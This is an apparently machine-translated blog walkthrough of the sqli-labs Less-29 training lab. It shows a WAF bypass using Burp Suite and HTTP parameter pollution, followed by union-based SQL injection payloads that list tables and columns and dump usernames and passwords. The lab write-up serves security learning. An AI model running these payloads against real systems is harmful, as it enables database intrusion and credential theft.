当前位置:网站首页>sqlilabs less-29
sqlilabs less-29
2022-07-25 05:37:00 【It's always late at night.】
sqlilabs less-29
Early judgment
As soon as I came in, I saw that there was WAF, Hurry to try what you intercepted .

It doesn't feel right , Is there something wrong with the firewall .
Something really seems to be wrong , Hurry to check the source code ,index.php The file of is this interface , It can be seen that there is no filtering .
There are also two, such as blocked pages and pages with firewalls .
Such as the blocked interface .
Yes WAF The interface of .
The test found that most symbols were blocked .
Inject
Method 1 : A middleman
Suddenly there are several problems , Whether it is front-end judgment , Can we use the middleman method to bypass WAF, Grab a bag and throw it in burp suite Of Repeater Test it inside , You can see that it seems to bypass WAF.

English single quotation mark injection , Pay attention to burpsuite Inside id= There must be no spaces between the following parameters , otherwise burpsuite You will think that the parameters separated by spaces are not parameters , An error request will appear .
In short, it is to find a way to make id= The following parameters are the same color ( This is green ), This should be one of many methods .
Judge the number of rows .
Name of judgment table .
-1'union(select(1),2,group_concat(table_name)from(information_schema.tables)where(table_schema=database()))--+

Judge the listing .
-1'union(select(1),2,group_concat(column_name)from(information_schema.columns)where(table_name='users'))--+

value
-1'union(select(1),group_concat(username),group_concat(password)from(users))--+

Method 2 :
First test to see if those characters are not blocked , To make use of .
Find out "&", Not filtered , How to use it .
You can see that the filtered characters follow & You can use it later .
Table name .
1&id=-1' union select null,null,group_concat(table_name) from information_schema.tables where table_schema=database()--+

边栏推荐
猜你喜欢
随机推荐
What about reinstalling win11 system?
Implement is by yourself_ class
Concepts of phase velocity and phase in transmission line theory
Unity accesses chartandgraph chart plug-in
Introduction to interface in SystemVerilog
项目管理工具——阿里云Projex介绍与实战
Programming hodgepodge (I)
C Programming -- the solution of dynamic programming of "the sum of the largest subarray"
50: Chapter 5: develop admin management service: 3: develop [query whether the admin user name already exists, interface]; (this interface can only be called when logging in; so we have written an int
background
HTB-Devel
Leetcode 237. 删除链表中的节点
In depth understanding of pre post + +, -- and negative modulus
typora+PicGo+阿里云OSS 搭建以及报错解决【转载】
FinClip实现微信授权登录的三种方案
同条网线电脑正常上网,手机连接wifi成功,但是无法访问互联网
Project management tools - project developer tools
LCP插件创建对等802.1ad接口
STL notes (V): iterator
接口幂等性









